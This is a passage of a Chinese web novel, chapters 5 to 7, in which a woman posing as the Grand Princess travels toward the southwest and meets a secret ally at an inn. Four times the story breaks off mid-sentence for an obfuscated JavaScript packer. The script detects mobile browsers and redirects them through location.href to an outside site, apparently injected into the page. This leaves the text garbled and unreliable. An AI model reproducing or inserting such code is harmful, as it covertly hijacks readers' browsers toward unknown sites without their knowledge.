杯盏只浅浅倒了几口的量。 许竹影应声：“嗯？” 夏荇托着脸，见许竹影自己也猛灌好一大口，方才拿起杯子。 灯光其实算不上有多亮，她的发丝散落在耳后，隐隐的一圈金色。 夏荇正色道：“本宫的路从来不靠在哪个男人身上，没了你，无非是再麻烦一些。” 许竹影咽下凉水泡的蜂蜜水，咳嗽两声。 他面上平静，像是没听出夏荇话语里的惊世骇俗一样，奉承道：“那是自然。” 她话锋一转：“但你还算有点用，勉强也听话。” 此去万里，离京更是险中之险之举，但‘长公主’这层皮夏荇总不能穿着太久。 她还有更多的事情要去做。 ‘长公主’一勾红唇。 “所以，本宫暂时还不会让你死，希望你也聪明点，别把自己弄死了。” 她的影子投在暗纹地砖上，拉得很长。 许竹影轻笑，如同轻轻荡开水面波纹的春风与柳枝：“殿下这算承诺吗？” 夏荇没说话，只是转过头去，静静地看着雕花窗上的梨花影子。 有的时候，没有否认反而就是另一种默认。 “如果是的话，”许竹影听着灯花爆开的稀碎声音，缓慢地勾出一个极淡的笑容，“许竹影，谢长公主殿下赏识。” 屋外，月亮才刚刚升上林稍。 …… 与许竹影那没啥人的幽静小方不同，春居院自建好以来，作为公主居处，一直是长公主府上最热闹、人也最多的地方。 只是夏荇特地将大部分人都打发出去后，少了往日各处隐隐传来的玩笑声，空旷得有些骇人。 “殿下可总算是回来了。” 侍女放下手中缝到一半的鞋底，忙不急招呼留在里头的人也出来迎接。 她拍着心口，一副劫后余生的模样道：“太后娘娘方才差人偷偷来话，说给殿下备了些路上的东西，叫我们半个时辰后与殿下去侧门那等着，要是殿下再晚些回来，奴才都想去敲云花阁的门了。” “雾月，”夏荇接过她特意温着的一小碗肉粥，边喝边问，“院里的物件都可打点好了？” 蒸腾而起的热气萦绕在不大的小桌，上头原本的精致摆件全都被收了起来，取之而代的侍女随手捡的一个竹筒，桃花枝喝足了水，顶上冒出尖尖的一点叶片。 “她今夜嚷嚷着什么不舒服，可叫我收拾到了现在。” 另一位侍女空云从屏风后面绕出来，怀中抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320059|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一堆大大小小的木制盒子，要放进边上的最后一只妆匣里。 大抵是活干多了嫌热，她将短打布衣的袖子全撩了上去，露着手臂上流畅的肌肉线条控诉道：“平时都是一大群人分着干，殿下不肯带小的走，好歹也先等活都干完了，时间紧，又就剩我们俩个，神仙来了也得叫干不完。” ''长公主''不说话，只是似笑非笑地斜瞪她一眼。 空云将头埋到盒子后，又突然变得很忙了起来，转身去打点剩下的一点七零八碎。 夏荇慢吞吞地喝完那一小锅粥，又换下肩上许竹影那件被露水沾湿的外袍，待浑身都裹得密不透风后，终于在雾月的催促声里出了门。 就综合考虑来说，这俩位皆是出生民间人家，与长公主生前没那么多的接触，又到了嫁人的年纪，放出去了无非也是被家中父兄再卖上一遍价钱。 左右现下也没个更好的出路，夏荇干脆留了下来当个帮手。 雾月也是这半月来才到这位主子跟前伺候，虽然常被无视，但好歹没受过传言中的皮肉之苦，故还对‘长公主’始终畏惧不太起来。 趁着这次俩人独处的机会，她兴冲冲地与夏荇闲聊道：“殿下，奴才长这么大，还没见过京城外头的风光。” 大恒如今各地的官员都在粉饰太平，一年送上来的政绩里掺的水分挤挤就能扛旱，哪怕夏荇还有自己的消息门路，对于西南目前的情况也不得不捏把汗。 夏荇听出她话里藏不住的向往，给雾月泼了盆冷水：“听说西南边境外头的异族老是要到大恒来打秋风，也不知道那谢家守不守得住。” ‘长公主’步子轻巧地踩着团团花影，语气里满满都是抑制不住的嫌弃：“本宫可不想帮着他们管事。” 雾月讪讪地笑，把嘴边的话又咽回肚子里。 她们殿下这全京城都知道的水平，估计也没人会昏了头叫她管事吧。 “母妃有什么东西是不能大白天送的。” ''长公主''看着步道末那扇已经半开的侧门，迎着火光打了个懒洋洋的哈切。 “殿下，”守在门边的公公谄媚地笑，还没等夏荇走近就开始晃手中那张长长的单子。 他招呼下人继续将那些个大箱子往长公主府里抬，自己凑到夏荇跟前，小声解释道：“陛下之前都不肯让娘娘送东西，是今夜得了个皇子才松的口，故来的匆忙了些。” 虽然来的时间点不太对劲，但就那些黑压压的箱子来看，绝对不是一朝一夕能备好的数量。 “还有这个，”公公搓搓手，又从箱子后头拎出来个瘦条条的小孩，“娘娘好说歹说也劝不住的小宫女。” 夏荇没搞懂这是个什么情况，迟疑道：“这？” 那小孩在火光下绷着一张冷酷的脸，“扑通——”一声，谁也没预料到地直直跪在了粗糙不平的波浪纹地砖上。 雾月站得外头，手还没来得及把她拉起来，小宫女先径直对着夏荇磕了一个响头。 “殿下，”脆生生的童声里带着哭腔，“求殿下带奴婢一起走！奴婢愿给殿下当牛做马！” 5. 赶路 “嗯？” ‘长公主’略微弯下点腰看她，似乎听到了什么可笑至极的事情，挑起一边眉道：“本宫需要你来做什么？” 身后，一大群青年壮汉搬抬的动作还在继续，雾月警惕地走上前来，将夏荇护到身后。 “殿下，”小宫女一咬牙，顾不得在场的还有太后娘娘殿里的公公，莽撞道，“奴婢，奴婢知道殿下那许公子的秘密！他才不是真心实意到殿下身边来伺候的！” “喜言你胡说什么呢！” 公公提高音量训斥，平日里尖惯了的嗓子听起来更像是公鸡在叫。 他几个眼神吓退明显还不是很服的小宫女，一回头，展现在夏荇面前的又是一张笑裂了的谄媚嘴脸。 “这丫头是从宫外头买来的，说什么有个姐姐被卖去西南了，天天就和娘娘请缨去长公主府服侍。” 公公白胖的手攀上喜言单薄的肩，不轻不重地点了两下。 小姑娘身子一僵，将头深深地低下去。 听说宫里训人时都有自己的手艺活，专挑那看不出来又不容易弄残的地方下死手。 夏荇只觉喉咙似乎紧了一下。 ‘长公主’稍稍背过身去，不耐烦地抬起手，示意公公嘴里那一通“殿下见谅”“奴才回去一定好好训斥”的话都收一收。 “喜言是吧。” 小宫女猝不及防被点了名字，泪眼婆娑地抬起头来，在模糊不清的视线里只能稍稍辨认夏荇的眼睛。 那里面映着周围的几点灯光，亮得像她和姐姐还在一起时，讨论过的从茅草房顶上看到的烟火。 夜风吹起她额前刚长出几月的头发，一恍惚过去，站在她面前的女人还是神色冷漠。 裙子上的大片银线刺绣费时费力，在月下反射出尖锐冰凉的光。 “叫雾月先给你随便找个角落窝着，”奢华权贵本人懒洋洋地提过侍女手中的灯，这辈子估计都想不到几秒钟的功夫她就能脑补这么多的戏，“待本宫明日醒了，再告许竹影在外头惹出来的状。” 几片不知何时藏入衣袖里的梨花瓣随她动作散落出来。 小宫女紧揪裙角的手慢慢垂下。 她无助地瞪大眼睛，将夏荇最后抛的话在脑海中回荡过一遍又一遍，一个荒谬的念头最终形成。 她这是，被殿下留下来了？ “还愣着干什么！” 公公伸长脖子目送夏荇离开的背影，恨铁不成钢地提醒道：“殿下这都点头了，还不抓紧上去跟着你的新主子！可别再故意说那许公子的坏话了！” 再找这样一个模样乖巧还讨长公主殿下喜欢的人可难多了！ …… 日头上到三杆。 夏荇靠着马车里特意垫高的艾草枕，纱帐底下的空隙中漏进来的光板各种晃眼，眯得不大舒坦。 好不容易红润了些的面颊皱成一团，说不上来是难受的锅还是太阳的错。 “殿下，”雾月将安神的香也灭了，生怕再刺激到一点夏荇，朝外头道，“许公子，不如我们先停一下！殿下实在是难受。” “成。”许竹影应道。 许竹影一甩鞭子停了马，随后单手掀开身后的门帘，叫山谷间一点微风能够透进去。 ‘长公主’似乎见不得他离开视线的范围，还拿锁链将人扣着，死死连在马车里的一角。 夏荇迷迷糊糊间嗅到一点舒服的味道，眼睫轻轻颤抖。 她支起身子，缓慢地睁开眸子。 梦中光怪陆离的战场一下散开，敌方将领朝她射来的夺命一箭从前端弥散，在分界处化为点点的飞灰。 而箭尾处绑着的红绸虚化又重新聚合，恰好重合成桃花眼底的那抹颜色。 许竹影头上顶着个斗笠，散漫地放进来一大半阳光，胡乱缠绕的缰绳绑在掌心。 此刻青山蔓延，整条粉的落水溪上头有水鸟飞过。 三个姑娘都好端端地坐在马车里，朝她投来关切的眼神。 美好到，与她刚刚的梦截然相反。 “殿下，”许竹影取下他腰间系着的葫芦，往夏荇面前的那张小桌上放，“这回要喝酸梅水吗？” 不出意外的话，这回估计是嫌赶路辛苦泡来醒神的。 男女授受不亲观念深刻的雾月倒出茶壶里的凉茶，瞅着那明显没装满的葫芦，脸莫名有些红。 殿下和这位，闻名京城的面首，貌似感情真的有点好过了头。 ‘长公主’蹙起细眉，超出许竹影预料地居然没第一时间发难。 她捡起矮桌上的掐丝团扇，贴在脸色挡去刺眼的光，另一只手点点那个破烂葫芦。 “给本宫有多远拿多远。” 许清轻笑，将他那葫芦勾回去，拿在手中慢慢地晃出水声。 他专注地盯着夏荇，淡声应承道：“是，殿下这般人物，该是得拿那最金贵的东西养着。” 夏荇：“……” 许竹影轻轻摇头，又依依不舍地瞄她一眼，背影格外得落魄寂寥。 “又怎么会看上许某这些低贱东西。” 雾月已经被他这番戏震得茶都倒不稳了。 夏荇闻着空中的薄荷香气，眼皮不受控制地跳了几下。 长公主不喜驸马，甚至于有些宠妾灭夫的地步，仗着有太后接济在院子里养了一水儿的男宠，每个都涂脂抹粉争宠好胜。 她花了点时间把这批人打发出去，谁料流言威力实在太大，如今养的门客为了内心的小九九也自我带入，每天都干六个时辰的活了还有精力演戏。 照喜言那只言片语，许竹影要找的那人到底是什么来头，才值得他如此牺牲？ 要不还是把这人丢路上。 旁边队伍跟着他们马车的停止也停了下来。 车厢挂着的纱布被人攥起一角，拉开的速度之快都叫人反应不太过来。 夏荇抬眼望过去，脸上依旧是‘长公主’那副谁来都看不起的好脸色。 来人是个穿甲戴胄的青年，一身黑衣劲装被肌肉撑得满满当当，看向她的眼神里明显冒着火。 青年闭了闭眼，强压火气道：“这是行军，你突然停下作甚！” 夏荇细细打量他背上的那杆银枪，在脑中找寻一圈对应的人名。 见‘长公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320060|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主’非但不吭声，手边还隔着个一看就来自那面首的破葫芦，他更气不打一处，沉声道：“你能不能别在这时候跟我闹脾气。” 夏荇还在琢磨他到底是何方神圣，空云先“啪——”的一声，把手中的绣图重重地拍在桌上。 她平视那青年，不卑不亢地道：“驸马爷，殿□□弱，乘车不适才停了这么一会儿，怎么到了您那儿就是公主故意的了？” 她一直看不太起驸马一走三月，害得她们殿下被全京城指指点点的行为，此刻抓住机会，连尾音都稍有上扬。 驸马面色一变，狐疑地瞧了几眼夏荇还没完全平缓的神色，喉结一滚，咕哝道：“你不舒服，怎么不派人来和我说？” 夏荇没入京前，也算听说过一点长公主和这位驸马的传奇。 就现在这表现来看，闹掰似乎真的一点也不稀奇。 ‘长公主’别过脸去，连个眼神都不想分给他。 “本宫的事关你何干，”她双手抱胸将身子转向另一边，气鼓鼓地道，“要是知道皇兄派来护送的人是你，还不如留在长公主府。” 这事实际想来其实说得通，驸马出身武将世家，更是在战场上立了功后才赘的长公主。 皇帝与太后放心不下，硬要表达对公主的保护与关心的话，驸马怎么看都是最合适的人选。 这话里的意思是宁愿去低头道歉也不想看见他。 驸马被‘长公主’的反应一时弄得语塞。 他隔着皇家尊卑不好发作，几次张口想说些什么，半天时间过去，只干巴巴地挤出一句：“那天的事不是我有意要说你的。” 驸马粗略扫过一圈满车的人，脸烧得厉害，实再是不想再这么多人面前再和夏荇犟下去。 他放软语气，不自然地解释道：“这次去西南不单单是护送你，谢家八百里急诏京城，说南安下面的小王们耐不住旱情，已经开始向大恒烧杀抢掠了。” 夏荇藏在身后的手抓紧枕头。 果然，她平静地想。 无论小王子死不死，边疆的国家都不会放过大恒。 “这次调兵实在紧急，你再休息一刻我们就出发，”驸马做出让步，从袖口里拿出个小油纸包，小心翼翼地递给夏荇，“这里面是你最爱吃那家桂花糖，等三天后，到了江口入城可以修正，我再和你细聊这件事。” 说完，他狠狠瞪了几眼从头到尾没说过一句话的许竹影，一甩袖子大步流星地逃了。 “殿下，”许竹影默默地旁边挪了挪，十分委屈地幽幽道，“驸马爷好凶啊。” 语气里没有一点被正室抓奸的恐惧，全是仗着地位超然的自信。 ‘长公主’拿起那个脏兮兮的油纸，斟酌再三还是丢了出去，仍然没怎么气消地道：“不用管他。” 糖包在毯子上滚动一圈，最终不偏不倚地停在雾月脚边。 她无奈地挠挠头，也不知如何处理，索性捡起来，压在茶盒的最底层。 夏荇往喉咙里灌下一大杯凉茶，手上不紧不慢地翻开一本游记。 里面放了张薄如蝉翼的小笺，密密麻麻地写满不知所云的文字。 6. 荇草 马车里实在算不个看东西的好地方，写信人又恨不得在一张小笺上给她出书。 夏荇按照密文重新排序，仔细辨认着那上面的内容，看得眼睛生疼。 “小草亲启： 近来一切皆好，那些人也都安排进了西洋人开的学堂。 若已经脱离了京城，回信告知一声，商会一直会有人在江口接应。 西南谢家都是群认死里的倔驴，万万不可莽撞行事，边疆局势不明，注意好自身安稳。 复仇大计长远，若伪装暴露，就回江南。” 最后应该落名字的地方没有任何标志，只是押着朵小小的桃花瓣。 夏荇看完，盯着那干枯的淡红色出神。 这次的离京实在太过顺利。 虽然许竹影手艺不凡，但也不能掉以轻心。 夏荇合上书本，瘦削苍白的五指轻轻摩挲粗糙发黄的封面。 他到底来历还不明。 既然现在有了接应…… 不如好好查一查。 阳光里全都是凉茶的草药香，队伍重新启程，马蹄踩在石板路上滴滴答答得响。 溪边顺风飘过来的落花路过夏荇拉开的窗前。 将将可以目睹到一抹瞬息即逝的无奈。 …… 三日后，江口城。 许竹影活动活动酸软的四肢，等三个侍女都下了车，再回过头去对夏荇伸出手掌。 黄昏布下满天的火烧云，穿了几天风尘仆仆的白衣融入城外的无边芦苇，竟然又变得光鲜整洁了起来。 “殿下，”许竹影稍稍弯腰，体贴地做出一个搭手势，道：“小心脚下。” 夏荇古怪地看他一眼，搞不懂为何许面首如此乐衷于孔雀开屏，一撩长裙自己跳了下去。 雾月怀中抱着高高一堆物件无力拦着，只得干瞪眼喊道：“殿下，别摔了！” 三日来吃不好睡不香，驸马带着的精兵还老是有人偷偷摸过来，想绕过侍卫偷偷看一眼长公主芳容，可给她们弄得风声鹤唳草木皆兵，再不入城去好好休整一番都没法再走下去。 喜言从一个小厮手中不情愿地接过一封信件，呈给夏荇。 “殿下，这是驸马爷派人送来的，”她丧着神色，“好像说什么在要城中的望月酒楼里谈事。” 也不看她们殿下想不想理他！ 夏荇手上整理面纱，确认带得十分牢固后才道：“你和空云去替本宫传个话，就说叫他别来烦本宫，现在上路诸事不便，等到了西南就商议和离。” 喜言闻言喜出望外，和空云齐齐将物件就地一放，顾不上行礼就急匆匆地朝营帐走去。 似乎生怕下一秒殿下就反悔。 许竹影摘下斗笠，从江边薅了把新鲜的草叶，喂给那几匹一直在哼哼他的马。 主管将三步并成两步，从后头的马车上着急忙慌地凑到夏荇面前，可怜巴巴地道：“殿下，这赶路可以不让杂家跟着，进城可不行啊。” 他拍拍腰间系着的荷包：“银钱什么的都是杂家在管啊。” 据说太后当年对这主管太监有恩，故他带了长公主大事小事都给包圆，比起早早撒手人寰的先帝还要像个爹。 ‘爹’笑眯眯地弓着本就不直的腰，眼神殷切地看着她。 夏荇一阵头疼。 她此番进城还要与人碰头，若是叫主管太监跟着，就他那妈妈桑般护犊子的个性，能离开视线之外就有鬼了。 夏荇仍然在思考说辞，视线下方骤然闪过一道水晶折射的光。 许竹影伺候完马大爷，居然特别熟练地从包裹里摸出那副云华阁拿的耳坠，重新带了回去。 从车夫回归面首身份的许竹影朝她走过来，刻意停在一个不算特别过分、又能让人浮想联翩的距离。 “公公，银子给许某就行了，”他淡淡一笑，手上却已经动作极快地勾走了那个小荷包，“今夜殿下有我们几个陪够了，您陪着，殿下怎么放得开。” 主管一愣，脸上的表情忽然转变成依依不舍的老母鸡，大手一挥故作坚强道：“那你们去吧。” 夏荇：“……” 许竹影还真是不忘初心。 “殿下目前估摸着也不想再坐什么东西，”许竹影先行迈开步子，“不如步行进城？” 现下大军在城外驻扎，就夏荇这身非富即贵的行头往城门口一站，连亮身份都不用就能进去。 砖石砌的城门沉默地在落日下镀上一道金边。 ‘长公主’裙角飞扬，趾高气昂地走在最前头，回给许竹影一个还用你说的背影。 雾月带着侍卫小步跟上，两眼放光地在夏荇耳边道：“殿下，听说江口的火烧做得一绝！殿下今天都没啥胃口，要不要雾月去买几个来？” 守在城门口的守兵瞧见夏荇的排场，还没等盘问就主动让出进城的道路。 夏荇抬眼端详一会儿明显是赶工出来的整洁街道，轻声道：“不必。” 赶路也挺累的。 “就近寻个酒楼歇息吧，”夏荇回忆那人曾经给过她的地址，步行片刻后方道，“就那个门前堆着芦苇花的。” 还挺巧的，居然就在望月酒楼正对面。 许竹影脚下步子一顿，随后若无其事地回归正常，跟着夏荇走进酒楼的大堂。 现下刚好要到饭店，整座精致小楼灯火通明，小二端着盘子在楼梯上跑上跑下地吆喝。 火烧的香味从后厨的炒菜声中传出来。 坐在掌柜台后的是个三十来岁的女人，夏荇腿还没迈进就乐呵呵地迎了上来，嘴里念道：“呦，今儿来了个贵人。” 盘在后脑勺的芦苇杆随着她的走动一上一下：“姑娘这是，打尖还是住店啊？” ‘长公主’还未发话，雾月记着夏荇叮嘱过的低调行事，先在后头接道：“老板娘，先给我们小姐分几间最好的房间上来，再上桌清淡的吃食。” “好嘞，”掌柜领着夏荇，为她避开店内的客人，好笑道，“姑娘平时都见那大都城的酒楼老板，可能不知道我们芦花酒楼的情况，小人正是这酒楼的老板，别人都唤我芦娘。” 芦花酒楼、芦娘。 对上了。 ‘长公主’最喜就是那些与旁人不同的东西，闻言就来了兴趣。 她勉强松下因人太多太吵而冷着的这脸，问道：“那你这酒楼可有啥特色。” 芦娘只当她是好奇，见有赚钱的机会，更加热情地报起菜名：“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320061|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的有的，火烧饼，芦苇粥，枣泥酥……” “怎么都是些吃食。” 夏荇道：“有没有拿桃花与糖一起渍的干梅，给本小姐泡一壶热茶送上来。” “姑娘瞧着年纪不大，对这喝的倒是颇有研究。” 芦娘招招手，叫小厮收拾二楼厢房的动静停下来，带着她们继续上了三楼。 烛光下，她从进门起一直眯着的眼睛缓慢地睁开，转而亲切地牵起夏荇的手，话语连珠般滚落：“是瞧见进门处摆的那几个陶罐子了吧？这热梅子茶原本就是我做着玩的，上年天凉桃花收的也不多，今年索性就没拿出来卖。” 手指根处的金戒指划过夏荇的袖口，悄无声息地塞入一张隐秘的纸片。 她面上笑盈盈地道：“既然贵人提了，必然待会儿就差人给姑娘送上去。” …… 江口城总体不大，许竹影跟着夏荇的那群侍卫用过晚饭，确认‘长公主’早早回房休息后从厨房后门摸出酒楼。 夜还是黑得极快，一道人影静悄悄地站在酒楼后的店铺门口，为了不让老板赶他走正在吃第五个火烧饼。 见许竹影终于下来，劈头盖脸先是甩给他一套衣服。 许竹影抱着藏青外袍，数数他手中的油纸袋个数，好笑道：“陆淮安，你饕餮在世啊。” 陆淮安咽下满嘴酥皮，控诉道：“那还不是你，非要跟着长……” 公主俩字还在嘴边呼之欲出，硬生生被他在乎场合咽了回去，压低声音狠狠地道：“还不是你非要救你哥！现在不仅一个影子都没摸到，我看你都真快要变成男宠了！” 许竹影摸出几个铜板付给等钱的老板，闻言点点头，拖长一个尾音：“那你说还有没有更好的方法——” 他本意是嘲讽陆淮安没法子干着急，谁料这人听完一拍胸膛，呛声道：“我还真有。” 陆淮安得意地挺着胸膛，看他兄弟狐疑地将要走的脚步转回来。 “陆淮安，”许竹影睨他一眼，正色叫他名字，“你知道这话不能乱说。” 酒楼里隐隐透出来的灯火映出他眼底的疯狂与偏执。 陆淮安深知许竹影那老虎装兔子的本质，赶忙宽慰他。 “我真没骗你。”他竖起三根手指头发誓。 “我听到消息，江南那花氏商会的掌权人桃姨，她手下最得意的眼线今夜就在这南安城里落脚。” 商人走通南北消息灵通，越往上层走，知道的东西更是越多。 “你兄长没出事前在江南不就和她多有交道，”陆淮南自顾自分析下去，越说越觉得自己有道理，“我都怀疑你兄长能在御林军那样的搜寻下活下来，还叫你捡到，这里面肯定有她的掺和。” 许竹影单手托着下巴，思索他这方法的可行性。 “那你上哪认识她那眼线？·你知道这人叫啥吗就说要搭线。” 陆淮安简直要给这大爷的泼冷水能力跪下。 “那我当然是私底下偷偷打听好了！” 陆淮安从怀中掏出一张皱巴巴的纸，边展开边在嘴中念念有词道：“说来也奇怪，这位好像是唯一一位不是以花代号的。” “？” “好像是，荇草的荇？” 7. 芦娘 芦娘给的那张小纸片子里详细写了密室的开法。 江边的小城夜风都大，‘长公主’独自一人坐在梳妆台前，一下又一下地对着铜镜梳着头发。 搁在胭脂旁的干芦苇还是秋日的颜色，绒白细腻的芦花散出被阳光晒过的味道。 夏荇随手抽出来一只，学着芦娘的样子，换下原本的那些翠玉首饰，盘出一个干净简练的低盘发。 随后，一点点揭下脸上的面皮。 镜中的人素着一张恬静的脸起身，随即隐入床榻屏风之后的小门里。 只剩桌上的芦花团簇，在吹入屋内的夜风中轻轻摇晃。 一如当时还盛开在江边那样。 粗瓷茶盏轻轻放在窗框所箍出的一长条江景前。 芦娘细致地摆好几碟小菜和茶具，抬头望向正从密道中走出来的人。 她看清来人的脸，先是稍稍一愣，转而莞尔一笑叫道：“荇姑娘。” 隐形的门无声合上。 “都是一起做事的，姐姐就别叫得这么生疏了。” 夏荇被几乎是被她推到了那张小桌前，还没坐下就先被塞了几块刚出炉的小饼，哭笑不得道：“叫我小草就行了。” 芦娘鬓边的散发沾了汗水，被她豪爽地一把全拢到耳后。 “小草啊，草这个名字也取得很好。”她在口中细细咀嚼含义。 夏荇面前的茶杯被她提壶倒满，芦娘搜刮一番肚中墨水，末了朴素地道：“就和白芦花一样。” 不经意间就长个满片，一直生到天边看不见的地方，谁都拿她们没办法。 芦娘拿出一本薄薄的册子，边在手中翻动边道，“实在没想到你能来的这么快，我还以为要再过阵子才行。” “意外遇到个帮手，实在推动了不少动作。” 夏荇咬下一口分量实诚的肉饼，细细感受油脂与热量带来的快乐，整个人舒坦地靠在椅背上。 芦娘瞧她喜欢，又把整碟的萝卜肉丸往夏荇跟前推。 江边小舟上慢慢点起来零星的渔火，水鸟吃饱了小鱼，慢慢悠悠地飞到城里相熟的人家。 最大的几只胆子格外得大，直接落在芦娘这边的窗棂上，低头去啄掰碎的小面点。 “能用人也是你的本事，没什么好谦虚的，”芦娘给它们又丢上几块卖相不好的点心，“西南那地还是太险，谢家守关百年下来，照如今这圣上半点不管的样子，估计还是要破了。” 册子之中抽出来的几张纸搁在小桌上，油墨甚至还未完全干透。 夏荇拿起那份材料，缓缓道：“大恒越乱，我们的胜算就越大。” 这个王朝早就糟糕透顶，西南边关在那些蛮族眼里就是块赤裸裸的肉，无论如何都想咬上一口。 水鸟头头叼起一大块吃不下的糕点，单纯的黑豆眼中映出夏荇泛起涟漪的眸子。 “皇帝还要享乐，必然不愿出钱解决西南的事情，谢家再一片忠心，也没法看着百姓每天都受罪。” 夜风吹拂，坐在小楼里的女子细指轻动，拨动着桌上的几颗江石。 “到那我们再出面，和谢家一起在西南自行募兵，就理所当然了。” 有时候是时势摧毁人，还是造就人，不过一念之间的差距。 芦娘自诩也算离经叛道，在旁人都说女子需得操持家事、照顾夫君的指点里，打拼出一座人来人往的酒楼。 但此刻听到她和桃姨如此计划时，还是控制不住地手抖。 一句皇帝大过天。 女子之身、弱柳浮萍。 真的能将天也捅破吗? 坐在她对面的夏荇说完，倒是还老神在在地玩石头。 似乎完全没意识到这是如何石破惊天又大逆不道的一句话。 “好，好，”芦娘沉默半晌，方道，“能参与这种事情，也算这辈子不白活。” 几只水鸟都被她一拍胸膛的动静吓到，抖抖翅膀飞入完全黑下来的夜幕。 “你还有啥需要我帮忙的，尽管说。”芦娘拿出后头架子上搁着的宝贝家当。 沉甸甸的一个实木盒一看就上了年头，四面都锁着从西洋来的不同小锁，每个都裹着厚厚一层桐油。 芦娘的手刚拿出一串贴身携带的钥匙，就又被夏荇急忙起身塞了回去。 “不用您这小本生意的出什么，万事都有桃姨兜底呢。” 她触碰芦娘温热的手背，随之感受到对方的反握。 那只不符常俗的手宽大，长着厨房与针线养出来的厚茧，强劲的脉搏压在手心上，又化成一场温柔。 “我只是有些好奇那个叫许竹影的，”夏荇闻着对方身上安心的烟火味，“他来得太巧了，我一开始还以为是桃姨特意安排，却还没和我说。” 毕竟对方远在江南，对于京城的动静全是夏荇在把控，不能及时知晓也算正常。 直到后来有人报上来：他老是夜里偷偷去探府上的一众库室，才发现这人其实是别有用心。 “他的话，应该算是误打误撞。” 芦娘又抽出另一张明显更加空疏的纸。 “桃姐对他并不熟悉，但与他的兄长可称知根知底。” 许竹影的兄长在冤案之前也在江南做事。 在夏家作为地方大员，首当其冲被包个十成十全家惨死的时候，官兵们冲入许老爷的府邸，却只在一贫如洗的房间里搜出几件必需品。 和一套洗的发白的官服。 “许竹影在他哥出事前只能一直在京城读书，照理说应该做不到掺和进来，”芦娘眯起眼睛回忆，“只是当时在太子的全力搜寻之下，有人说曾在渡口看到过许杨心和一团黑影，剩下的就一概不得而知了。” 夏荇点点头，若有所思道：“那他这是，冲我要兄长来了？” “没准更为准确，以为是你杀了他兄长。”芦娘合上册子，玩笑道。 不然为何目的如此准确，做个能瞬息之间取人性命的暗器。 若杀成功，就是报仇雪恨已告在天之灵。 若没成功，也能再寻下一步计划，左右都不吃亏。 就是遇到了她。 夏荇不按常理出牌。 “他兄长现在身在何处，是死是活皆是未知，朝廷跟官兵在找，我们在找，他和他那个姓陆的兄弟也在找。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320062|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 可这么一个大活人就是能不见了。 也是稀奇。 若要说江南那事，长公主本人确实是死在案发七日之后。 和死去的长公主也有关系吗？ 夏荇在脑中梳理混乱的线索，抓住芦娘话中关键问道：“姓陆的兄弟？” 许竹影在‘长公主’面前晃悠这么多天，都是孤身一人，诈他也诈不出和府上的谁是上下线。 原来是将另一半的重心放去外面，做好了两手准备。 “是淮扬陆氏的小公子，名字叫陆平，表字淮安，家中一门相承，都是狗皮膏药个性。” 芦娘提起一直用炭火热着的茶壶，倒满俩人面前空空的瓷盏。 “据说他俩本是在一个书院念的书，因许竹影曾经帮过他一把，对这兄弟死心塌地的。” 茶香兀自飘出窗外。 溜达一圈的水鸟们落回芦花酒楼的屋顶，挨个探出细长的脖子，好奇地打量下方。 明明都被冻得哆嗦了，这俩人还都站在酒楼外面，明知道里面暖和却迟迟不进去。 真奇怪。 …… “我和你说，我好不容易搭上的线，好不容易！” 陆淮安在月光下抖抖如今完全瘪下去的荷包，恨不得揪着许竹影耳朵大叫还钱。 “芦娘这人简直我这辈子见过的最黑的！比你还黑！” 看起来笑眯眯，实际能宰起人来眼睛都不眨一下！ 酒楼的伙计终于得到芦娘的传话，从堂口来叫他们进去。 陆淮安踏上通往顶楼的楼梯，边爬，边回想起来他上午莫名其妙被芦娘引成要出价买消息的过程。 莫名就觉得心口有块地方凉凉的。 “所以，哪怕你手里那证据真的已经可以一锤定音！是长公主杀了你兄长，我知道你那证据真的很真很可信……” 陆淮安戳戳他若有所思的许兄，放低嗓门一字一顿道：“你，也，给，我，别，说，出，来。” 消息消息，在尔虞我诈里就是最宝贵的东西。 陆淮安交代完，得意地一甩袖子，推门走进芦娘专门招待外客的小室。 估计是今天推演过好几次，觉得这回肯定能找回场子。 